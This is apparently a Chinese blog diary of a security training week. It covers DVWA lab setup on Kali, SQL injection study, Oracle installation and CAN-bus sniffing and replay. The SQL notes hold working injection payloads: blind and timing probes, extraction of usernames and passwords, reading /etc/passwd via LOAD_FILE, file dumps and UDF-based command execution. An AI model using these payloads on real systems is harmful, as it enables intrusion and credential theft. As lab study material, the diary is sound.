第一天 (5.22)

一如既往的早餐 和Kali一起战斗!

狂想曲

ENIAC CNNIC vulnerability

KALI LINUX LAMP DVWA!!

将DVWA放到var/www/html下

T:

root@Ares:~# service apache2 start
root@Ares:~# service mysql start

mysql -u root

create database dvwa

exit

Firefox 地址栏输入: http://localhost/dvwalso/setup.php

似曾相识的错误:

(1)PHP function allow_url_include disabled

root@Ares:~# find / -name "php.ini"
/var/www/html/dvwalso/php.ini
/root/Downloads/dvwa/dvwalso/php.ini
/etc/php/7.0/cli/php.ini
/etc/php/7.0/apache2/php.ini

打开/etc/php/7.0/apache2/php.ini,找到
allow_url_include=Off
改为
allow_url_include=On

(2)Could not connect to the mysql service. please check the config file

打开/xampp/htdocs/dvwa/config/config.inc.php,将
$_DVWA['db_user'] = 'root'$_DVWA[''db_password] = 'p@ssw0rd'
改为
$_DVWA[ 'db_user' ] = 'root';$_DVWA[ 'db_password' ] = '';  //mysql的默认用户名和密码
 
(3)reCAPTCHA key:Missing
打开/xampp/htdocs/dvwa/config/config.inc.php,将
$_DVWA[ 'recaptcha_public_key' ] = '';$_DVWA[ 'recaptcha_private_key' ] = '';
改为
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

第二天 (5.23)

有会议... 一起帮公司布置会场;

会议内容

第三天 (5.24)

深入学习SQL注入

盲注 (Blind Injection)

Web Server 关闭了错误回显

e.g.

If URL: http:/newspaper.com/items.php?id=2

SELECT title, description, body FROM items WHERE ID = 2

Else if URL: http:/newspaper.com/items.php?id=2 and 1=2

SELECT title, description, body FROM items WHERE ID=2 AND 1=2

Else if URL: http:/newspaper.com/items.php?id=2 and 1=1

SELECT title, description, body FROM items WHERE ID=2 AND 1=1

Timing Attack

BENCHMARK(count, expression): 将表达式 expression 执行 count 次; in mySQL

e.g.1

SELECT BENCHMARK(1000000,ENCODE('HELLO','GOODBYE'));

可以看到用时 0.21 秒; 可以通过返回的时间是否变长来判断注入语句是否执行成功 ^_^

边信道攻击

e.g.2 验证数据库名等名称

id = 1170 UNION SELECT   IF(SUBSTRING(current, 1, 1) = CHAR(xxx), BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds')), null)  FROM (Select Database() as current) as tb1;

system_user();

current_user();

last_insert_id();

current_user 具有写权限:

id = 1170 UNION ALL SELECT table_name, table_type, engine FROM information_schema.tables  WHERE table_schema =IF(SUBSTRING(current, 1, 1) = CHAR(xxx), BENCHMARK(5000000, ENCODE('MSG', FROM (Select Database() as current) as tb1;

技巧

id = 5 and subtring(@@version, 1, 1) = 4;
id = 5 union all select 1, 2, 3 from admin; -- isExist(TAB_NYM, admin)
id = 5 union all select 1, 2, passwd from admin; -- isExist(COL_NYM, passwd)

通过判断字符范围:

...id = 5 and ascii(substring((select concat(username, 0x3a, passwd) from users limit 0, 1), 1, 1)) > 64; 
id = 5 and ascii(substring((select concat(username, 0x3a, passwd) from users limit 0, 1), 1, 1)) > 65;
id = 5 and ascii(substring((select concat(username, 0x3a, passwd) from users limit 0, 1), 1, 1)) > 66;...

自动化SQL注入工具: sqlmap.py

读写文件:

...UNION SELECT 1, 1, LOAD_FILE('/etc/passwd'),1,1;

CREATE TABLE aresoul(line BLOB);UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/aresoul';LOAD DATA INFILE '/tmp/aresoul' INTO TABLE aresoul;

导出 webshell or
用户自定函 (UDF):

创建UDF:

CREATE FUNCTION ares_defedf RETURNS INTEGER SONAME aresoul1

only in before MySQL 5;

lib_mysqludf_sys: sys_eval(), sys_exec(), sys_get(), sys_set()... // 执行输出 执行返码 获取环量 设置环量

asp

老爸生日! Happy Father!

下班直接回家给老爸过生日(见个面);

第四天 (5.25)

课程表 SQL注入实战; 梁爽姐姐讲解SQL;

第五天 (5.26)

Oracle 11g 安装与配置

Oracle

11g RDBMS

11.2RELEASE.0.3SMALL.0

10.2.0.5.0

11.2.0.4.0

LICENSE 无序列号

停服务 国税总局 安徽省 半夜升级 甲骨文喝茶

virtual box

ORACLE_BASE

ORACLE_HOME

20GB

mongoDB mySQL ALI 双11

ORACLE 大了 不灵活 前进慢

ORACLE_SID.dmt

SETUP.exe

数据库软件 客户端 绿色版

企业版 个人版

ORACLE diag xsz admin

cmd netca 1521

network/admin/listener.ora

监听

status start stop

创建数据库

EM管理

sys/ system/ dbsnmp 口令

数据库文件路径

快速恢复区

内存分配 sga pga

数据快和连接进程数

utf-8

win ORACLE环境变量

o'ra

角色 权限

CONNECT RESOURCE DBA大 EXP_FULL_DATABASE IMP_FULL_DATABACE

系统权限 实体权限

sys大 system

导入导出

EXP IMP

完全 EXP SYSTEM/MANAGER BUFFER=64000 FILE=C:/

用户 DMP

表TABLES=(SONIC)

数据泵 impdp expdp 空表

自己查表

Linux 远程地址 Linux安装Oracle()

第六天 (5.27)

Database Developer

IMP

再一天 (5.31)

梁爽姐姐详解CAN总线

CAN总线逆向

CAN协议不同

CAN总线: 6 H 14 L

TJA1054 SJA

OBD 连接器引脚  4/5 GRD

物理层 数据链路层

CAN ECU 多个滤波器 自己ID 11bits 数据 64bits

can-utils

TCPdump

Candump Canplayer Cansend

socketCAN

虚拟can网络

TEST

串行Can设备 M哦对

Slcan_attach -f -s6//500

监听 回放

Candump slcan0 -L >> log0.log

Canplayer -l 20/loop -I 日志.log -v

再二天 (6.1)

儿童节, 放一天假

再三天 (6.2)

CAN总线实战(是另一个组QAQ)

转载于:https://www.cnblogs.com/cragoncanth/p/6893019.html

[CATARC_2017] 第三周 残四周相关推荐

  1. python123《python语言程序设计》程序设计题第一周第二周第三周第四周第五周

    第一周学习 eval定义 eval(expression,globals=None,locals=None) -expression:该参数是一个字符串,python会使用globals字典和loca ...

  2. 数据结构 第三周第四周学习小结

    这两周都是在学习顺序表.单链表和其他链表的创建等等,我觉得顺序表相对于链表更加容易理解一些,链表几乎都是用指针在表示,不是很清晰思路就不懂了. 转载于:https://www.cnblogs.com/ ...

  3. 花滑三周连跳_花滑未来能有人做五周跳吗 专家:四周半或是极限

    陈巍资料图 上周,当Mirai Nagasu在冬奥会的赛场上成功完成阿克塞尔三周的动作时,观众都为之疯狂,她成为美国历史上第一位实现空中翻转三周半的女子花滑选手. 与此同时,男子花滑选手也掌握了四周跳 ...

  4. 第三周总结,第四周计划

    总结:Java变量的数据类型,运算符.对Java循环语句有了一定的了解,但还需更加努力. 第三周作业1(一元二次方程求解)代码 /** 功能:一元二次方程求解 时间:2019.03.16 作者:邓益春 ...

  5. 20142335郝昊第三周学习总结

    20145335郝昊 <Java程序设计>第3周学习总结 教材学习内容总结 第四章 类与对象 定义: 对象(Object):存在的具体实体,具有明确的状态和行为. 类(Class):具有相 ...

  6. python能开发什么产品_三周学 Python ?不,三周做个产品

    我的同事在看到毫无开发经验的我用三周时间,不但从零基础用上了 Python,还做出了一个客户关系管理系统,强烈邀请我分享经验.惶恐,因为我并没有出色的智商,也没有觉得三周学 Python 是一个体现自 ...

  7. 2017-2018-1 20155339 《信息安全系统设计基础》第三周学习总结

    2017-2018-1 20155339 <信息安全系统设计基础>第三周学习总结 教材学习内容总结 信息的表示和处理 数字表示的三种形式 无符号:无符号补码基于传统的二进制表示法,表示大于 ...

  8. 20155216 2016-2017-2 《Java程序设计》第三周学习总结

    教材学习内容总结 区分基本类型与类类型 类类型是自己定义产生的,基本类型是long,int,double等类型. 在类的定义过程中,可直接用class XXX {}对每个序定义的值域成员进行定义.这样 ...

  9. C语言程序设计笔记(浙大翁恺版) 第三周:判断

    按照中国大学MOOC上浙江大学翁恺老师主讲的版本所作,B站上也有资源.原课程链接如下: https://www.icourse163.org/course/ZJU-9001 由于是大三抽空回头整理的, ...

最新文章

  1. idea中新增package总是嵌套的解决方法
  2. 邵阳计算机专业哪家最好,邵阳学院专业排名 最好的专业有哪些
  3. java 取字符串中的数字_java截取字符串中的数字
  4. android eclipse不能创建activity,在eclipse里面开发android应用,不能新建Activity
  5. 可视化Web报表设计器-FastReport Online Designer简介
  6. 后退与hash的问题
  7. selenium page_source跟手动打开的不一样_爬虫界又出神器|一款比selenium更高效的利器...
  8. 使用javap分析Java的字符串操作 1
  9. 取代ClubHouse的节奏!这款开源聊天室太好用了
  10. c语言中max的用法。
  11. 如何不用绿幕,从视频中移除背景?
  12. 明码(十进制转二进制,输出格式)
  13. 基于高通芯片组的广和通FM150 5G模组GPS测试演示
  14. python 存储字典_python 字典存储
  15. AES密钥编排Python实现
  16. OpenGL ES之三——绘制纯色背景
  17. 【100%通过率】华为OD机试真题 C++ 实现【无向图染色】【2022.11 Q4新题】
  18. Liunx——参考数据与延伸阅读
  19. 计算机三级网络技术第一章知识总结
  20. 免费申请.tk国际顶级域名-攻略

热门文章

  1. 蒙特卡洛算法_MCMC、蒙特卡洛近似和Metropolis算法简介
  2. web平台安装程序_来了来了!开源车间调度平台正式上线!
  3. 免费的html空间,免费HTML网页空间(每月200 GB 流量托管静态网页超简单)
  4. tcp socket编程 java_JAVA TCP Socket编程 计算题
  5. Spark内核解析之五:Spark Shuffle解析
  6. 点击头像上传文件的效果
  7. Android播放器基础封装库PlayerBase
  8. Dubbo源码分析(三):ExtensionLoader
  9. 给初学者的RxJava2.0教程(三)
  10. C# 6.0 新特性